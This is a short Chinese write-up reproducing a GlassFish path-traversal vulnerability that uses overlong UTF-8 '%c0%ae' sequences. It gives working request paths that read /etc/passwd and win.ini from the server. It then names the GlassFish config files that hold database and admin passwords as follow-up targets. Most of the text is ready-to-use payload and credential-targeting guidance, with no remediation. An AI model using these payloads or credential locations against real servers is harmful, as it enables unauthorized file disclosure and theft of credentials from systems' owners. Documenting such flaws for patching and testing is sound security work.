一、漏洞信息
GlassFish是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。GlassFish漏洞成因:java语义中会把"%c0%ae"解析为"\uC0AE",最后转义为ASCCII字符的"."(点)。
二、漏洞复现
执行POC进行任意文件读取linux下的/etc/passwd或者windows下的win.ini,成功读取
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
windows读取win.ini
linux读取etc/passwd
三、GlassFish的敏感目录
domains/domain1/config/domain.xml 各种数据库密码位置
domains/domain1/config/admin-keyfile 后台密码存储位置